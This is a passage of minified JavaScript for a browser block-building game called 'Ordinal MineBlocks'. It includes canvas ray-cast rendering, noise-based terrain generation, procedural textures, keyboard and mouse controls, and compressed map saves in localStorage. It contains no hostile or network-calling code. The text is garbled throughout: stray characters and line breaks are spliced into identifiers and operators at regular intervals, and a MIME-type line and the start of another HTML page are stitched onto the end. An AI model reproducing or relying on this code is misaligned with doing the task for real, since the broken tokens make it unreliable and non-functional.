log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
